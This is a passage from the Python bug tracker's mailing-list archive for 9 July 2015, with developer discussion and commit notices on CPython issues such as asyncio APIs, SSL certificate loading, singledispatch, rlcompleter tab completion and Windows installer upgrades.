bugs.python.org Thu Jul 9 05:19:49 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 09 Jul 2015 03:19:49 +0000 Subject: [issue24585] Windows installer does not detect existing installs In-Reply-To: <1436285916.26.0.0298485642616.issue24585@psf.upfronthosting.co.za> Message-ID: <20150709031945.66728.29399@psf.io> Roundup Robot added the comment: New changeset 8e18d615988e by Steve Dower in branch '3.5': Issue #24585: Enables build-to-build upgrades that preserve settings. https://hg.python.org/cpython/rev/8e18d615988e New changeset 2a8a39640aa2 by Steve Dower in branch 'default': Issue #24585: Enables build-to-build upgrades that preserve settings. https://hg.python.org/cpython/rev/2a8a39640aa2 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 05:31:18 2015 From: report at bugs.python.org (Steve Dower) Date: Thu, 09 Jul 2015 03:31:18 +0000 Subject: [issue24585] Windows installer does not detect existing installs In-Reply-To: <1436285916.26.0.0298485642616.issue24585@psf.upfronthosting.co.za> Message-ID: <1436412678.9.0.510534830854.issue24585@psf.upfronthosting.co.za> Steve Dower added the comment: Doesn't touch anything significant outside the installer, so I just committed it. Feel free to read over the change and comment here if you want, but we unfortunately won't get complete testing of this until rc1. I added some helpers for faking out version numbers, so if you want to try building the installer you can do: tools\msi\build.bat -x86 move PCBuild\win32\en-us test350 msbuild tools\msi\bundle\snapshot.wixproj /p:OverrideVersion=3.5.1 /t:Rebuild move PCBuild\win32\en-us test351 which will give you two installers with different versions (though the actual interpreter is unaffected). Or just hold out for the actual releases - I'll be testing it in the meantime. ---------- stage: -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 09:43:01 2015 From: report at bugs.python.org (Mark Lawrence) Date: Thu, 09 Jul 2015 07:43:01 +0000 Subject: [issue24594] msilib.OpenDatabase Type Confusion In-Reply-To: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za> Message-ID: <1436427781.61.0.559756669517.issue24594@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 10:57:01 2015 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 09 Jul 2015 08:57:01 +0000 Subject: [issue24571] [RFE] Add asyncio.background_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436432221.16.0.510407493714.issue24571@psf.upfronthosting.co.za> Nick Coghlan added the comment: The problems with using concurrent.futures directly for running synchronous tasks in the background are: 1. You have to manage the lifecycle of the executor yourself, rather than letting asyncio do it for you 2. There's no easy process wide way to modify the size of the background task thread pool (or switch to using processes instead) 3. There's no easy way for background tasks themselves to use asynchronous IO With the switch to "background_call" as the name, I'd modify the implementation to detect coroutines and schedule them as tasks rather than running them in the executor. However, I think it's clear that the idea and its potential benefits are sufficiently unclear that making the case effectively may require a PEP. That's probably worth doing anyway in order to thrash out more precise semantics. ---------- title: [RFE] Add asyncio.call_async API -> [RFE] Add asyncio.background_call API versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 11:43:28 2015 From: report at bugs.python.org (David Beazley) Date: Thu, 09 Jul 2015 09:43:28 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436435008.81.0.0528676164816.issue23441@psf.upfronthosting.co.za> David Beazley added the comment: Frivolity aside, I really wish this issue would get more traction and a fix. Indentation is an important part of the Python language (obviously). A pretty standard way to indent is to hit "tab" in whatever environment you're using to edit Python code. Yet, at the interactive prompt, tab doesn't actually indent on a blank line. Instead, it autocompletes the builtins. Aside from it being highly annoying (as previously mentioned), it is also an embarrassment. Newcomers to Python will very often try things out using the stock interpreter before moving on to more sophisticated environments. The fact that tab is broken from the get-go leaves a pretty sour impression when not even the most basic tutorial examples work at the interactive console (and keep in mind that whitespace sensitivity is probably already an issue on their minds). Experienced Python users coming from Python 2 to Python 3 are going to find that tab is busted in Python 3. Well, of course it's busted because everything is busted in Python 3. "Wow, this really sucks as bad as everyone says" they'll say. So, with that as context, I'm really hoping I don't have to watch people use a busted tab key for another entire release cycle of Python 3 as I did for Python-3.4. I have no particular thoughts about the specifics (tabs vs. spaces) or the amount of indentation. It's the autocomplete on empty line that's the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 12:48:00 2015 From: report at bugs.python.org (Benjamin Schubert) Date: Thu, 09 Jul 2015 10:48:00 +0000 Subject: [issue24166] ArgumentParser behavior does not match generated help In-Reply-To: <1431353733.91.0.614025540349.issue24166@psf.upfronthosting.co.za> Message-ID: <1436438880.97.0.816554534746.issue24166@psf.upfronthosting.co.za> Benjamin Schubert added the comment: Ok, sorry for the delay. I see your point and understand the difficulty of having done right. Should I close the issue, or propose something else ? Thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 13:11:22 2015 From: report at bugs.python.org (David Beazley) Date: Thu, 09 Jul 2015 11:11:22 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436440282.28.0.129018893598.issue23441@psf.upfronthosting.co.za> David Beazley added the comment: Wanted to add: I see this as being about the same as having a broken window pane on the front of Python 3. Maybe there are awesome things inside, but it makes a bad first impression on anyone who dares to use the interactive console. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 13:12:19 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 09 Jul 2015 11:12:19 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436440339.52.0.575441485982.issue24567@psf.upfronthosting.co.za> Stefan Krah added the comment: Qt had a similar initiative regarding -msse2 -mfpmath: http://lists.qt-project.org/pipermail/development/2013-December/014530.html They say that also Visual Studio 2012 has switched to sse2 by default. The only problem are the Linux distributions that are stuck in i386 land and who would probably disable the flags in their builds. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 13:16:24 2015 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 09 Jul 2015 11:16:24 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436440584.33.0.570844987868.issue24136@psf.upfronthosting.co.za> Neil Girdhar added the comment: Copied from closed issue 24240: Since Grammar/Grammar relies on semantic postprocessing in ast.c, it would be nice to have an update of the (human readable) Grammar in the language reference docs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 14:36:36 2015 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 09 Jul 2015 12:36:36 +0000 Subject: [issue24571] [RFE] Add asyncio.background_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436445396.27.0.245584600714.issue24571@psf.upfronthosting.co.za> Guido van Rossum added the comment: > 1. You have to manage the lifecycle of the executor yourself, rather than letting asyncio do it for you > 2. There's no easy process wide way to modify the size of the background task thread pool (or switch to using processes instead) But if that's what you want, adding a helper or helpers to concurrent.futures makes more sense than adding it to asyncio, which is primarily about using an event loop, *not* threads. > 3. There's no easy way for background tasks themselves to use asynchronous IO But how does your proposal help for that? The function passed to background_call() is in no way enabled to do async I/O -- it has no event loop and it is not a coroutine, and it's running in a separate thread. > With the switch to "background_call" as the name, I'd modify the implementation to detect coroutines and schedule them as tasks rather than running them in the executor. Honestly, I think that convenience routines that fuzz the difference between synchronous functions (to be run in a thread) and coroutines don't do anyone a service -- an API should educate its users about proper use and the right concepts, and this sounds like it is encouraging staying ignorant. > However, I think it's clear that the idea and its potential benefits are sufficiently unclear that making the case effectively may require a PEP. That's probably worth doing anyway in order to thrash out more precise semantics. Or you could just give up. Honestly, I am liking this less and less the more you defend it. That's a classic sign that you should give up. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:00:12 2015 From: report at bugs.python.org (Anton Astafiev) Date: Thu, 09 Jul 2015 13:00:12 +0000 Subject: [issue24595] InteractiveInterpreter always prints to stdout Message-ID: <1436446812.02.0.787958220284.issue24595@psf.upfronthosting.co.za> New submission from Anton Astafiev: I have a use-case when I need to forward InteractiveConsole through Unix/TCP socket. Expected implementation: class InteractiveSocket(InteractiveConsole): def __init__(self, socket): self._socket = socket ... def raw_input(...): # read from socket def write(...): # write to socket However, only syntax errors and tracebacks are written into a socket, while actual output still appears on servers stdout. Digging through it I realized, that the output happens inside exec call in InteractiveInterpreter.runcode and here is why: >>> c=compile('42', '', 'single') >>> dis.dis(c) <<< 1 0 LOAD_CONST 0 (42) 3 PRINT_EXPR 4 LOAD_CONST 1 (None) 7 RETURN_VALUE where PRINT_EXPR uses _Py_IDENTIFIER(displayhook); I ended up with the following dirty hack in my derived class: def runcode(self, code): class OutWriter: pass writer = OutWriter() writer.write = self.write old = sys.stdout sys.stdout = writer try: exec(code, self.locals) except SystemExit: raise except: self.showtraceback() sys.stdout = old I think it would be nice to make InteractiveInterpreter extendable out of the box, though I don't have exact solution here. ---------- components: Library (Lib) messages: 246487 nosy: Anton Astafiev priority: normal severity: normal status: open title: InteractiveInterpreter always prints to stdout type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:01:53 2015 From: report at bugs.python.org (Martin Richard) Date: Thu, 09 Jul 2015 13:01:53 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za> Message-ID: <1436446913.51.0.137657304844.issue16487@psf.upfronthosting.co.za> Martin Richard added the comment: Hi, I would like to update this patch so it can finally land in cpython, hopefully 3.6. tl;dr of the thread: In a nutshell, the latest patch from Kristj?n Valur J?nsson updates SSLContext.load_cert_chain(certfile, keyfile=None, password=None) and SSLContext.load_verify_locations(cafile=None, capath=None) so certfile, keyfile and cafile can be either a string representing a path to a file or a file-like object. The discussion seems to favor this API (pass file-like objects) rather than using new arguments (certdata, keydata) to pass string or bytes objects. However, Christian Heimes proposed a patch (which landed in 3.4) which adds a cadata argument to load_verify_locations(). So, what should we do? - allow certfile, keyfile and cafile to be paths or file-like objects, - add certdata and keydata to load_cert_chain() to be consistent with load_verify_locations(), - do both. I'd go the the 2nd solution to be consistent with the API and keep things simple. ---------- nosy: +martius versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:14:12 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 13:14:12 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za> Message-ID: <1436447652.1.0.126682643363.issue16487@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I thing adding "keydata" and "certdata" makes things more complicated, on the contrary. You start having an API with many optional arguments but some of them are exclusive with each other (because you can only specify a single key and cert chain). The "cafile", "capath", "cadata" in load_verify_locations() are cumulative, but they would be exclusive in load_cert_chain(): there's not much symmetry. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:21:23 2015 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 09 Jul 2015 13:21:23 +0000 Subject: [issue24571] [RFE] Add asyncio.background_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436448083.47.0.239861220708.issue24571@psf.upfronthosting.co.za> Nick Coghlan added the comment: I'll at least write a new python-ideas post, as I realised my original idea *is* wrong (and you're right not to like it). The focus needs to be on Sven's original question (How do you kick off a coroutine from otherwise synchronous code, and then later wait for the result?), and then asking whether or not it might make sense to provide a convenience API for such an interface between the worlds of imperative programming and event-driven programming. Sven's far from the only one confused by that particular boundary, so even if a convenience API doesn't make it into the module itself, an example in the docs explaining how to implement it may be helpful. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:31:32 2015 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 09 Jul 2015 13:31:32 +0000 Subject: [issue24596] Script globals in a GC cycle not finalized when exiting with SystemExit Message-ID: <1436448692.77.0.0262276090845.issue24596@psf.upfronthosting.co.za> New submission from Petr Viktorin: When this program is invoked as a script (`python reproducer.py`), the __del__ is never called: --- class ClassWithDel: def __del__(self): print('__del__ called') a = ClassWithDel() a.link = a raise SystemExit(0) --- Raising a different exception, moving the code to a function, importing the module, or invoking with -m (or even -c), causes __del__ to be called normally. ---------- components: Interpreter Core messages: 246491 nosy: encukou priority: normal severity: normal status: open title: Script globals in a GC cycle not finalized when exiting with SystemExit versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:40:22 2015 From: report at bugs.python.org (Martin Richard) Date: Thu, 09 Jul 2015 13:40:22 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za> Message-ID: <1436449222.98.0.779936716317.issue16487@psf.upfronthosting.co.za> Martin Richard added the comment: You are right. And if certfile and keyfile (args of load_cert_chain()) accept file-like objects, we agree that cafile (load_verify_location()) should accept them too? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:41:12 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 13:41:12 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch Message-ID: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> New submission from Antoine Pitrou: singledispatch currently doesn't defend against unwanted redefinition of an existing specialization, e.g.: >>> def f(x): return "default" ... >>> f = functools.singledispatch(f) >>> @f.register(int) ... def _(x): return "1" ... >>> @f.register(int) ... def _(x): return "2" ... >>> f(42) '2' This can be annoying when used as an extension mechanism. It would be nice if at least an option in the singledispatch() constructor could prevent this. ---------- components: Library (Lib) messages: 246493 nosy: lukasz.langa, ncoghlan, pitrou, rhettinger priority: normal severity: normal status: open title: forbid redefinition of specializations in singledispatch type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:42:36 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 13:42:36 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1436449222.98.0.779936716317.issue16487@psf.upfronthosting.co.za> Message-ID: <559E7A48.80606@free.fr> Antoine Pitrou added the comment: Le 09/07/2015 15:40, Martin Richard a ?crit : > > And if certfile and keyfile (args of load_cert_chain()) accept file-like objects, we agree that cafile (load_verify_location()) should accept them too? It could, but that's a separate issue. Let's stay focused on what is necessary to solve this use case, IMO (i.e. specify non-file-backed data as a certification chain or private key). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:43:21 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 09 Jul 2015 13:43:21 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za> Message-ID: <1436449401.75.0.156751112229.issue16487@psf.upfronthosting.co.za> STINNER Victor added the comment: Sorry, I didn't take time to read the whole discussion. For me, it's a good idea to accept a filename or a file object in the same parameter. Having two exclusive parameters for the same thing (ex: CA) doesn't smell like a great API. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:48:13 2015 From: report at bugs.python.org (Christian Heimes) Date: Thu, 09 Jul 2015 13:48:13 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za> Message-ID: <1436449693.16.0.675414948951.issue16487@psf.upfronthosting.co.za> Christian Heimes added the comment: I'd rather introduce new types and have the function accept either a string (for path to fiel) or a X509 object and a PKey object. It's more flexible and secure. With a private key type we can properly support crypto ENGINEs and wipe memory when the object gets deallocated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:48:17 2015 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 09 Jul 2015 13:48:17 +0000 Subject: [issue24571] [RFE] Add asyncio.background_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436449697.95.0.454809573624.issue24571@psf.upfronthosting.co.za> Guido van Rossum added the comment: Yeah, we should strongly consider writing more documentation before adding more convenience APIs. Esp. tutorial-style docs, which neither Victor nor I can supply because we've already moved beyond wizard level ourselves so it's hard for us to imagine the beginner's perspective. :-( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 15:55:52 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 13:55:52 +0000 Subject: [issue24596] Script globals in a GC cycle not finalized when exiting with SystemExit In-Reply-To: <1436448692.77.0.0262276090845.issue24596@psf.upfronthosting.co.za> Message-ID: <1436450152.93.0.74555926697.issue24596@psf.upfronthosting.co.za> Antoine Pitrou added the comment: It's likely that your global variable gets caught in the traceback attached to the SystemExit, and that either never gets deallocated, or gets deallocated too late. ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:04:05 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 09 Jul 2015 14:04:05 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles Message-ID: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za> New submission from STINNER Victor: When storing an exception in an asyncio Future object, there is a high risk of creating a reference cycle. In Python 3, exception objects store a traceback object which store frame objects. The problem is that a frame can also have a reference to the exception: we have a reference cycle (exception -> traceback -> frame -> same exception). In debug mode, Future.set_exception() can schedule a task (ex: using loop.call_soon) to check that there is no reference cycle. See also the issue #23587: "asyncio: use the new traceback.TracebackException class". ---------- components: asyncio messages: 246499 nosy: gvanrossum, haypo, yselivanov priority: normal severity: normal status: open title: asyncio: add background task detecting reference cycles versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:06:00 2015 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 09 Jul 2015 14:06:00 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za> Message-ID: <1436450760.5.0.970634664818.issue24598@psf.upfronthosting.co.za> Guido van Rossum added the comment: Doesn't the cycle-detecting GC handle these? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:10:12 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 09 Jul 2015 14:10:12 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za> Message-ID: <1436451012.9.0.143193752985.issue24598@psf.upfronthosting.co.za> STINNER Victor added the comment: > Doesn't the cycle-detecting GC handle these? Maybe you are lucky and the GC is able to break the cycle. Maybe you are unlucky and all objects part of the cycle will never be deleted. Python 3.4 is better to handle these cases, but Python 3.3 is worse to handle reference cycles. Being aware of the cycles help the developer to control when objects are deleted. It mean breaking the cycles help to delete objects sooner. See other asyncio issues about "reference cycles" for some examples. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:10:29 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 14:10:29 +0000 Subject: [issue24596] Script globals in a GC cycle not finalized when exiting with SystemExit In-Reply-To: <1436448692.77.0.0262276090845.issue24596@psf.upfronthosting.co.za> Message-ID: <1436451029.27.0.252245315803.issue24596@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Actually, the problem is in PyRun_SimpleFileExFlags(). The executed module is decref'ed after calling PyErr_Print(), but the latter never returns when the exception is a SystemExit. ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:16:44 2015 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 09 Jul 2015 14:16:44 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za> Message-ID: <1436451404.57.0.648014056805.issue24598@psf.upfronthosting.co.za> Guido van Rossum added the comment: Hm. If the problem is most prominent with 3.3, why mark the issue as 3.6? Do you have an implementation already? Maybe it can be a 3rd party package rather than integrated in asyncio debug mode? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:35:31 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 09 Jul 2015 14:35:31 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za> Message-ID: <1436452531.42.0.805285460012.issue24598@psf.upfronthosting.co.za> STINNER Victor added the comment: > Hm. If the problem is most prominent with 3.3, why mark the issue as 3.6? Well, I plan to implement this feature in "asyncio", so for 3.3-3.6 in fact. > Do you have an implementation already? Nope, it's more a TODO task for myself :-) > Maybe it can be a 3rd party package rather than integrated in asyncio debug mode? Hum, I'm not sure. My idea is to add code in Future.set_exception() because I will probably need a reference to the exception object (and maybe to the Future object). Currently, it's not possible to replace the Future class (whereas we have BaseEventLoop.set_task_factory and BaseEventLoop.create_task). I don't think that it's worth to make it possible to replace/hook this class. I don't expect a huge complex code to detect reference cycles. Please give me some weeks to investigate this issue. It will be easier to discuss with a working patch. I opened the issue as a reminder for myself, but also to colaborate on it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:53:42 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 09 Jul 2015 14:53:42 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <20150709144245.18095.73859@psf.io> Roundup Robot added the comment: New changeset 97a29b86a2dc by Barry Warsaw in branch '3.5': - Issue #15014: SMTP.auth() and SMTP.login() now support RFC 4954's optional https://hg.python.org/cpython/rev/97a29b86a2dc New changeset 2d9003d44694 by Barry Warsaw in branch 'default': - Issue #15014: SMTP.auth() and SMTP.login() now support RFC 4954's optional https://hg.python.org/cpython/rev/2d9003d44694 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:57:14 2015 From: report at bugs.python.org (Ethan Furman) Date: Thu, 09 Jul 2015 14:57:14 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> Message-ID: <1436453834.47.0.65128808677.issue24597@psf.upfronthosting.co.za> Ethan Furman added the comment: Is it too late to have the default for that option be to not allow the replacement? That would be the safer course. ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 16:58:32 2015 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 09 Jul 2015 14:58:32 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436453912.34.0.296890094467.issue15014@psf.upfronthosting.co.za> Changes by Barry A. Warsaw : ---------- assignee: -> barry status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 17:00:16 2015 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 09 Jul 2015 15:00:16 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436452531.42.0.805285460012.issue24598@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: OK, no problem. (Side comment: Future is being subclassed a lot, so parametrizing its construction may not be so easy.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 17:12:50 2015 From: report at bugs.python.org (Martin Panter) Date: Thu, 09 Jul 2015 15:12:50 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za> Message-ID: <1436454770.6.0.840774021584.issue24598@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 17:15:31 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 15:15:31 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> Message-ID: <1436454931.76.0.419277954651.issue24597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I don't know. I'm assuming some people actually want to redefine existing specializations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 17:44:47 2015 From: report at bugs.python.org (Meador Inge) Date: Thu, 09 Jul 2015 15:44:47 +0000 Subject: =?utf-8?q?=5Bissue23319=5D_Missing_SWAP=5FINT=C2=A0in_I=5Fset=5Fsw?= In-Reply-To: <1422212017.26.0.671058309435.issue23319@psf.upfronthosting.co.za> Message-ID: <1436456687.44.0.207794637513.issue23319@psf.upfronthosting.co.za> Meador Inge added the comment: I will review this today. ---------- assignee: -> meador.inge stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 18:15:44 2015 From: report at bugs.python.org (Ethan Furman) Date: Thu, 09 Jul 2015 16:15:44 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> Message-ID: <1436458544.18.0.428050222156.issue24597@psf.upfronthosting.co.za> Ethan Furman added the comment: Sure. I just saying that @f.register(int, replace=True) requires opt-in to replacing, whilst @f.register(int, replace=False) # don't replace if one already exists is still prone to bugs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 19:09:44 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 09 Jul 2015 17:09:44 +0000 Subject: [issue24595] InteractiveInterpreter always prints to stdout In-Reply-To: <1436446812.02.0.787958220284.issue24595@psf.upfronthosting.co.za> Message-ID: <1436461784.92.0.0685430398871.issue24595@psf.upfronthosting.co.za> R. David Murray added the comment: Does it not work to create an unbuffered makefile object from the socket and assign that to stdout? Regardless, if you need to set it and restore it around runcode you can use super() to call the base class method. I think providing an easier API to change stdin/stdout/stderr is a reasonable RFE, though. ---------- nosy: +r.david.murray type: behavior -> enhancement versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 19:15:53 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 09 Jul 2015 17:15:53 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> Message-ID: <1436462153.77.0.431987052916.issue24597@psf.upfronthosting.co.za> R. David Murray added the comment: Yes it is too late. You'd have to do a couple of deprecation cycles to change the default. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 19:39:34 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 09 Jul 2015 17:39:34 +0000 Subject: [issue24583] set.update(): Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436463574.39.0.734604203858.issue24583@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: > Perhaps the incref/decref pair ought to be moved into PyObject_RichCompareBool(). This wouldn't help because key can be used after PyObject_RichCompareBool(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 19:45:07 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 17:45:07 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> Message-ID: <1436463907.97.0.807077134668.issue24597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Ah, but I wasn't suggesting to add an argument to the .register() call, but to the singledispatch() call; i.e. it would be a function-wide parameter. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 20:14:15 2015 From: report at bugs.python.org (Stefano Mazzucco) Date: Thu, 09 Jul 2015 18:14:15 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// Message-ID: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> New submission from Stefano Mazzucco: Hello, at work, I am behind a proxy (squid) that is only available over http. So, I have to configure both the http_proxy and https_proxy environment variables to be something like "http://proxy.corp.com:8181" Now, when I try and use urllib to open an "https" url, the proxy returns "501 Not Implemented". The quick and dirty script below is a minimal demonstration of the problem that appears on both python 2.7 (tested on 2.7.6, 2.7.9, 2.7.10) and 3.4 (tested on 3.4.0 and 3.4.4) try: import urllib opener = urllib.URLopener() except AttributeError: # Python 3 import urllib.request opener = urllib.request.URLopener() url = 'https://www.python.org' print("Trying to open", url) opener.open(url) Changing the url to "http://" works OK. Thanks, -- Stefano ---------- components: Library (Lib) messages: 246515 nosy: stefano-m priority: normal severity: normal status: open title: urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// type: behavior versions: Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 20:30:56 2015 From: report at bugs.python.org (Ethan Furman) Date: Thu, 09 Jul 2015 